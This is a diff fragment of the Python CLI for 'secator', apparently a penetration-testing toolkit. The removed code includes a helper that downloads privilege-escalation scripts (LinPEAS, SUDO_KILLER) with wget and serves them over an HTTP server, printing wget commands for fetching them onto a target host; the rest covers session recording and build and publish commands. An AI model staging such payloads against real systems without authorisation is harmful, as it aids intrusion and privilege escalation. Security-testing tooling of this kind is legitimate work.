- 'description': 'Linux Privilege Escalation Awesome Script',
716
- 'command': f'wget {LINPEAS_URL} -O linpeas.sh && chmod 700 linpeas.sh'
717
- },
718
- {
719
- 'fname': 'sudo_killer.sh',
720
- 'description': 'SUDO_KILLER',
721
- 'command': f'wget {SUDOKILLER_URL} -O sudo_killer.sh && chmod 700 sudo_killer.sh'
722
- }
723
- ]
724
- for ix, payload in enumerate(PAYLOADS):
725
- descr = payload.get('description', '')
726
- fname = payload['fname']
727
- if not os.path.exists(f'{directory}/{fname}'):
728
- with console.status(f'[bold yellow][{ix}/{len(PAYLOADS)}] Downloading {fname} [dim]({descr})[/] ...[/]'):
729
- cmd = payload['command']
730
- console.print(f'[bold magenta]{fname} [dim]({descr})[/] ...[/]', )
731
- Command.execute(cmd, cls_attributes={'shell': True}, cwd=directory)
732
- console.print()
733
-
734
- console.print(Rule())
735
- console.print(f'Available payloads in {directory}: ', style='bold yellow')
736
- for fname in os.listdir(directory):
737
- if not host:
738
- host = detect_host(interface)
739
- if not host:
740
- console.print(
741
- f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of interfaces.',
742
- style='bold red')
743
- return
744
- payload = find_list_item(PAYLOADS, fname, key='fname', default={})
745
- fdescr = payload.get('description', 'No description')
746
- console.print(f'{fname} [dim]({fdescr})[/]', style='bold magenta')
747
- console.print(f'wget http://{host}:{port}/{fname}', style='dim italic')
748
- console.print('')
749
- console.print(Rule())
750
- console.print(f'Started HTTP server on port {port}, waiting for incoming connections ...', style='bold yellow')
751
- Command.execute(f'{sys.executable} -m http.server {port}', cwd=directory)
752
-
753
-
754
- @utils.command()
755
- @click.argument('record_name', type=str, default=None)
756
- @click.option('--script', '-s', type=str, default=None, help='Script to run. See scripts/stories/ for examples.')
757
- @click.option('--interactive', '-i', is_flag=True, default=False, help='Interactive record.')
758
- @click.option('--width', '-w', type=int, default=None, help='Recording width')
759
- @click.option('--height', '-h', type=int, default=None, help='Recording height')
760
- @click.option('--output-dir', type=str, default=f'{ROOT_FOLDER}/images')
761
- def record(record_name, script, interactive, width, height, output_dir):
762
- """Record secator session using asciinema."""
763
- # 120 x 30 is a good ratio for GitHub
764
- width = width or console.size.width
765
- height = height or console.size.height
766
- attrs = {
767
- 'shell': False,
768
- 'env': {
769
- 'RECORD': '1',
770
- 'LINES': str(height),
771
- 'PS1': '$ ',
772
- 'COLUMNS': str(width),
773
- 'TERM': 'xterm-256color'
774
- }
775
- }
776
- output_cast_path = f'{output_dir}/{record_name}.cast'
777
- output_gif_path = f'{output_dir}/{record_name}.gif'
778
-
779
- # Run automated 'story' script with asciinema-automation
780
- if script:
781
- # If existing cast file, remove it
782
- if os.path.exists(output_cast_path):
783
- os.unlink(output_cast_path)
784
- console.print(f'Removed existing {output_cast_path}', style='bold green')
785
-
786
- with console.status('[bold gold3]Recording with asciinema ...[/]'):
787
- Command.execute(
788
- f'asciinema-automation -aa "-c /bin/sh" {script} {output_cast_path} --timeout 200',
789
- cls_attributes=attrs,
790
- raw=True,
791
- )
792
- console.print(f'Generated {output_cast_path}', style='bold green')
793
- elif interactive:
794
- os.environ.update(attrs['env'])
795
- Command.execute(f'asciinema rec -c /bin/bash --stdin --overwrite {output_cast_path}')
796
-
797
- # Resize cast file
798
- if os.path.exists(output_cast_path):
799
- with console.status('[bold gold3]Cleaning up .cast and set custom settings ...'):
800
- with open(output_cast_path, 'r') as f:
801
- lines = f.readlines()
802
- updated_lines = []
803
- for ix, line in enumerate(lines):
804
- tmp_line = json.loads(line)
805
- if ix == 0:
806
- tmp_line['width'] = width
807
- tmp_line['height'] = height
808
- tmp_line['env']['SHELL'] = '/bin/sh'
809
- lines[0] = json.dumps(tmp_line) + '\n'
810
- updated_lines.append(json.dumps(tmp_line) + '\n')
811
- elif tmp_line[2].endswith(' \r'):
812
- tmp_line[2] = tmp_line[2].replace(' \r', '')
813
- updated_lines.append(json.dumps(tmp_line) + '\n')
814
- else:
815
- updated_lines.append(line)
816
- with open(output_cast_path, 'w') as f:
817
- f.writelines(updated_lines)
818
- console.print('')
819
-
820
- # Edit cast file to reduce long timeouts
821
- with console.status('[bold gold3] Editing cast file to reduce long commands ...'):
822
- Command.execute(
823
- f'asciinema-edit quantize --range 1 {output_cast_path} --out {output_cast_path}.tmp',
824
- cls_attributes=attrs,
825
- raw=True,
826
- )
827
- if os.path.exists(f'{output_cast_path}.tmp'):
828
- os.replace(f'{output_cast_path}.tmp', output_cast_path)
829
- console.print(f'Edited {output_cast_path}', style='bold green')
830
-
831
- # Convert to GIF
832
- with console.status(f'[bold gold3]Converting to {output_gif_path} ...[/]'):
833
- Command.execute(
834
- f'agg {output_cast_path} {output_gif_path}',
835
- cls_attributes=attrs,
836
- )
837
- console.print(f'Generated {output_gif_path}', style='bold green')
838
-
839
-
840
- @utils.group('build')
841
- def build():
842
- """Build secator."""
843
- pass
844
-
845
-
846
- @build.command('pypi')
847
- def build_pypi():
848
- """Build secator PyPI package."""
849
- if not DEV_PACKAGE:
850
- console.print('[bold red]You MUST use a development version of secator to make builds.[/]')
851
- sys.exit(1)
852
- if not BUILD_ADDON_ENABLED:
853
- console.print('[bold red]Missing build addon: please run `secator install addons build`')
854
- sys.exit(1)
855
- with console.status('[bold gold3]Building PyPI package...[/]'):
856
- ret = Command.execute(f'{sys.executable} -m hatch build', name='hatch build', cwd=ROOT_FOLDER)
857
- sys.exit(ret.return_code)
858
-
859
-
860
- @build.command('docker')
861
- @click.option('--dev', '-dev', is_flag=True, default=False, help='Build dev version')
862
- def build_docker(dev):
863
- """Build secator Docker image."""
864
- version = 'dev' if dev else VERSION
865
- with console.status('[bold gold3]Building Docker image...[/]'):
866
- ret = Command.execute(f'docker build -t freelabz/secator:{version} .', name='docker build', cwd=ROOT_FOLDER)
867
- sys.exit(ret.return_code)
868
-
869
-
870
- @utils.group('publish')
871
- def publish():
872
- """Publish secator."""
873
- pass
874
-
875
-
876
- @publish.command('pypi')
877
- def publish_pypi():
878
- """Publish secator PyPI package."""
879
- if not DEV_PACKAGE:
880
- console.print('[bold red]You MUST use a development version of secator to make builds.[/]')
881
- sys.exit(1)
882
- if not BUILD_ADDON_ENABLED:
883
- console.print('[bold red]Missing build addon: please run `secator install addons build`')
884
- sys.exit(1)
885
- os.environ['HATCH_INDEX_USER'] = '__token__'
886
- hatch_token = os.environ.get('HATCH_INDEX_AUTH')
887
- if not hatch_token:
888
- console.print('[bold red]Missing PyPI auth token (HATCH_INDEX_AUTH env variable).')
889
- sys.exit(1)
890
- with console.status('[bold gold3]Publishing PyPI package...[/]'):
891
- ret = Command.execute(f'{sys.executable} -m hatch publish', name='hatch publish', cwd=ROOT_FOLDER)
892
- sys.exit(ret.return_code)
893
-
894
-
895
- @publish.command('docker')
896
- @click.option('--dev', '-dev', is_flag=True, default=False, help='Build dev version')
897
- def publish_docker(dev):
898
- """Publish secator Docker image."""
899
- version = 'dev' if dev else VERSION
900
- with console.status('[bold gold3]Publishing PyPI package...[/]'):
901
- ret = Command.execute(f'docker push freelabz/secator:{version}', name='docker push', cwd=ROOT_FOLDER)
902
- sys.exit(ret.return_code)
903
-
904
-
905
945
  #------#
906
946
  # TEST #
907
947
  #------#
@@ -909,7 +949,7 @@ def publish_docker(dev):
909
949
 
910
950
  @cli.group(cls=OrderedGroup)
911
951
  def test():
912
- """Tests."""
952
+ """[dim]Run tests."""
913
953
  if not DEV_PACKAGE:
914
954
  console.print('[bold red]You MUST use a development version of secator to run tests.[/]')
915
955
  sys.exit(1)